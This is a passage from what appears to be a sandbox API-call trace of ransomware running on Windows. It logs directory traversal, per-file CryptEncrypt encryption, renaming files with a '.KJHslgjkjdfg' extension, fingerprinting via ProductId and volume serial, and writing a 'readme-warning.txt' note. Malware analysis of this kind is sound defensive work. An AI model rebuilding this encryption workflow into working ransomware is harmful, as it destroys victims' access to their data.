lpNumberOfBytesRead=0x290f4bc, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f4bc*=0x40000, lpOverlapped=0x0) returned 1 [0140.629] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000) returned 1 [0140.633] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xb40800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.634] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4c0*=0x40000, lpOverlapped=0x0) returned 1 [0140.635] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xb808d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.635] WriteFile (in: hFile=0x124, lpBuffer=0x290f4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x290f4c8*, lpNumberOfBytesWritten=0x290f4c0*=0x8, lpOverlapped=0x0) returned 1 [0140.635] CryptDestroyKey (hKey=0x2c6260) returned 1 [0140.635] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xb808d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.635] SetEndOfFile (hFile=0x124) returned 1 [0140.637] GetProcessHeap () returned 0x2a0000 [0140.637] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0140.637] GetProcessHeap () returned 0x2a0000 [0140.637] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0140.637] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.msi.kjhslgjkjdfg")) returned 1 [0141.318] CloseHandle (hObject=0x124) returned 1 [0141.321] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80b17dc0, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80b17dc0, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x468a2b70, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2213, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VisiorWW.xml", cAlternateFileName="")) returned 1 [0141.321] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0141.525] GetProcessHeap () returned 0x2a0000 [0141.525] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0141.527] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0141.527] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f518 | out: lpNewFilePointer=0x0) returned 1 [0141.527] WriteFile (in: hFile=0x124, lpBuffer=0x290f528*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f528*, lpNumberOfBytesWritten=0x290f4f8*=0xd, lpOverlapped=0x0) returned 1 [0141.529] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0141.529] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0141.529] GetProcessHeap () returned 0x2a0000 [0141.529] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0141.529] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f4e0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f4e0*=0x40) returned 1 [0141.529] CryptDestroyKey (hKey=0x2c6260) returned 1 [0141.529] WriteFile (in: hFile=0x124, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f4f8*=0x40, lpOverlapped=0x0) returned 1 [0141.530] WriteFile (in: hFile=0x124, lpBuffer=0x290f500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f500*, lpNumberOfBytesWritten=0x290f4f8*=0x4, lpOverlapped=0x0) returned 1 [0141.530] WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f8*=0x10, lpOverlapped=0x0) returned 1 [0141.530] WriteFile (in: hFile=0x124, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f4f8*=0x80, lpOverlapped=0x0) returned 1 [0141.530] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0141.530] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f8*=0x8, lpOverlapped=0x0) returned 1 [0141.530] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0141.530] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0141.530] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.530] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2213, lpNumberOfBytesRead=0x290f504, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f504*=0x2213, lpOverlapped=0x0) returned 1 [0141.531] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x2220, dwBufLen=0x2220 | out: pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x2220) returned 1 [0141.532] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.532] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2220, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4f8*=0x2220, lpOverlapped=0x0) returned 1 [0141.532] CryptDestroyKey (hKey=0x2c6260) returned 1 [0141.532] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x22f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.532] SetEndOfFile (hFile=0x124) returned 1 [0141.535] GetProcessHeap () returned 0x2a0000 [0141.535] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0141.535] GetProcessHeap () returned 0x2a0000 [0141.535] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0141.535] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml.kjhslgjkjdfg")) returned 1 [0141.538] CloseHandle (hObject=0x124) returned 1 [0141.543] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80b17dc0, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80b17dc0, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x468a2b70, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2213, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VisiorWW.xml", cAlternateFileName="")) returned 0 [0141.544] GetProcessHeap () returned 0x2a0000 [0141.544] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0141.544] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290f2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6260) returned 1 [0141.544] CryptDecrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570, pdwDataLen=0x290f330 | out: pbData=0x2bf570, pdwDataLen=0x290f330) returned 1 [0141.544] CryptDestroyKey (hKey=0x2c6260) returned 1 [0141.544] GetProcessHeap () returned 0x2a0000 [0141.544] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf5b8 [0141.544] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290f2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6260) returned 1 [0141.544] CryptDecrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf5b8, pdwDataLen=0x290f330 | out: pbData=0x2bf5b8, pdwDataLen=0x290f330) returned 1 [0141.544] CryptDestroyKey (hKey=0x2c6260) returned 1 [0141.544] GetProcessHeap () returned 0x2a0000 [0141.544] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c0) returned 0x2f22c8 [0141.544] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290f2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6260) returned 1 [0141.544] CryptDecrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f22c8, pdwDataLen=0x290f330 | out: pbData=0x2f22c8, pdwDataLen=0x290f330) returned 1 [0141.545] CryptDestroyKey (hKey=0x2c6260) returned 1 [0141.545] GetProcessHeap () returned 0x2a0000 [0141.545] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0141.545] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290eea0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6260) returned 1 [0141.545] CryptDecrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528, pdwDataLen=0x290ef10 | out: pbData=0x2bf528, pdwDataLen=0x290ef10) returned 1 [0141.545] CryptDestroyKey (hKey=0x2c6260) returned 1 [0141.545] GetProcessHeap () returned 0x2a0000 [0141.545] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1668 [0141.545] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290eea0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6260) returned 1 [0141.545] CryptDecrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1668, pdwDataLen=0x290ef10 | out: pbData=0x2c1668, pdwDataLen=0x290ef10) returned 1 [0141.545] CryptDestroyKey (hKey=0x2c6260) returned 1 [0141.545] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x290ef0c | out: phkResult=0x290ef0c*=0x124) returned 0x0 [0141.545] RegQueryValueExA (in: hKey=0x124, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x290ef18, lpcbData=0x290ef14*=0x400 | out: lpType=0x0, lpData=0x290ef18*=0x30, lpcbData=0x290ef14*=0x18) returned 0x0 [0141.545] RegCloseKey (hKey=0x124) returned 0x0 [0141.546] GetProcessHeap () returned 0x2a0000 [0141.546] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0141.546] GetProcessHeap () returned 0x2a0000 [0141.546] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1668 | out: hHeap=0x2a0000) returned 1 [0141.546] GetProcessHeap () returned 0x2a0000 [0141.546] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1668 [0141.546] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290ec80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6260) returned 1 [0141.546] CryptDecrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1668, pdwDataLen=0x290ece4 | out: pbData=0x2c1668, pdwDataLen=0x290ece4) returned 1 [0141.546] CryptDestroyKey (hKey=0x2c6260) returned 1 [0141.546] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x290ece8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0141.546] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x290ece0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x290ece0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0141.546] GetProcessHeap () returned 0x2a0000 [0141.546] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1668 | out: hHeap=0x2a0000) returned 1 [0141.546] wsprintfA (in: param_1=0x290ef2f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0141.546] wsprintfA (in: param_1=0x290f33c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0141.547] GetProcessHeap () returned 0x2a0000 [0141.547] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b4) returned 0x2f2690 [0141.547] wsprintfW (in: param_1=0x290e30c, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\readme-warning.txt") returned 81 [0141.547] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\readme-warning.txt" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0141.547] WriteFile (in: hFile=0x124, lpBuffer=0x2f2690*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x290e308, lpOverlapped=0x0 | out: lpBuffer=0x2f2690*, lpNumberOfBytesWritten=0x290e308*=0x3b3, lpOverlapped=0x0) returned 1 [0141.548] CloseHandle (hObject=0x124) returned 1 [0141.549] GetProcessHeap () returned 0x2a0000 [0141.549] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f22c8 | out: hHeap=0x2a0000) returned 1 [0141.549] GetProcessHeap () returned 0x2a0000 [0141.549] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f2690 | out: hHeap=0x2a0000) returned 1 [0141.549] GetProcessHeap () returned 0x2a0000 [0141.549] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf5b8 | out: hHeap=0x2a0000) returned 1 [0141.549] GetProcessHeap () returned 0x2a0000 [0141.549] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0141.549] FindClose (in: hFindFile=0x2c62a0 | out: hFindFile=0x2c62a0) returned 1 [0141.549] GetProcessHeap () returned 0x2a0000 [0141.549] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7ab8 | out: hHeap=0x2a0000) returned 1 [0141.549] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x4a6d41a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d41a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{91140000-0057-0000-1000-0000000FF1CE}-C", cAlternateFileName="{91140~2")) returned 0 [0141.549] FindClose (in: hFindFile=0x2c62e0 | out: hFindFile=0x2c62e0) returned 1 [0141.549] GetProcessHeap () returned 0x2a0000 [0141.549] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7870 | out: hHeap=0x2a0000) returned 1 [0141.549] FindNextFileW (in: hFindFile=0x2c6320, lpFindFileData=0x290fa98 | out: lpFindFileData=0x290fa98*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 0 [0141.550] FindClose (in: hFindFile=0x2c6320 | out: hFindFile=0x2c6320) returned 1 [0141.550] GetProcessHeap () returned 0x2a0000 [0141.550] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7638 | out: hHeap=0x2a0000) returned 1 [0141.550] FindNextFileW (in: hFindFile=0x2c6360, lpFindFileData=0x290fd20 | out: lpFindFileData=0x290fd20*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x563d4b80, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x563d4b80, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0xaece4da0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x7ff7c000, dwReserved0=0xa0000003, dwReserved1=0xffff, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0141.550] FindNextFileW (in: hFindFile=0x2c6360, lpFindFileData=0x290fd20 | out: lpFindFileData=0x290fd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xffff, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0141.550] GetProcessHeap () returned 0x2a0000 [0141.550] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x28) returned 0x2c8348 [0141.550] FindFirstFileW (in: lpFileName="C:\\PerfLogs\\*.*", lpFindFileData=0x290fa98 | out: lpFindFileData=0x290fa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x2c6320 [0141.550] GetProcessHeap () returned 0x2a0000 [0141.550] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c8348 | out: hHeap=0x2a0000) returned 1 [0141.550] FindNextFileW (in: hFindFile=0x2c6320, lpFindFileData=0x290fa98 | out: lpFindFileData=0x290fa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0141.551] FindNextFileW (in: hFindFile=0x2c6320, lpFindFileData=0x290fa98 | out: lpFindFileData=0x290fa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Admin", cAlternateFileName="")) returned 1 [0141.551] GetProcessHeap () returned 0x2a0000 [0141.551] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x22a) returned 0x2c7638 [0141.551] GetProcessHeap () returned 0x2a0000 [0141.551] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x34) returned 0x2c62e0 [0141.551] FindFirstFileW (in: lpFileName="C:\\PerfLogs\\Admin\\*.*", lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c62a0 [0141.551] GetProcessHeap () returned 0x2a0000 [0141.551] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c62e0 | out: hHeap=0x2a0000) returned 1 [0141.551] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0141.551] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 0 [0141.551] FindClose (in: hFindFile=0x2c62a0 | out: hFindFile=0x2c62a0) returned 1 [0141.551] GetProcessHeap () returned 0x2a0000 [0141.551] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x2a0000) returned 1 [0141.551] FindNextFileW (in: hFindFile=0x2c6320, lpFindFileData=0x290fa98 | out: lpFindFileData=0x290fa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Admin", cAlternateFileName="")) returned 0 [0141.551] FindClose (in: hFindFile=0x2c6320 | out: hFindFile=0x2c6320) returned 1 [0141.551] GetProcessHeap () returned 0x2a0000 [0141.551] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7638 | out: hHeap=0x2a0000) returned 1 [0141.552] FindNextFileW (in: hFindFile=0x2c6360, lpFindFileData=0x290fd20 | out: lpFindFileData=0x290fd20*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xe5df5960, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe5df5960, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xffff, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0141.552] GetProcessHeap () returned 0x2a0000 [0141.552] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x32) returned 0x2c6320 [0141.552] FindFirstFileW (in: lpFileName="C:\\Program Files\\*.*", lpFindFileData=0x290fa98 | out: lpFindFileData=0x290fa98*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xe5df5960, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe5df5960, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x2c62a0 [0141.552] GetProcessHeap () returned 0x2a0000 [0141.552] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c6320 | out: hHeap=0x2a0000) returned 1 [0141.552] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290fa98 | out: lpFindFileData=0x290fa98*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xe5df5960, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe5df5960, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, 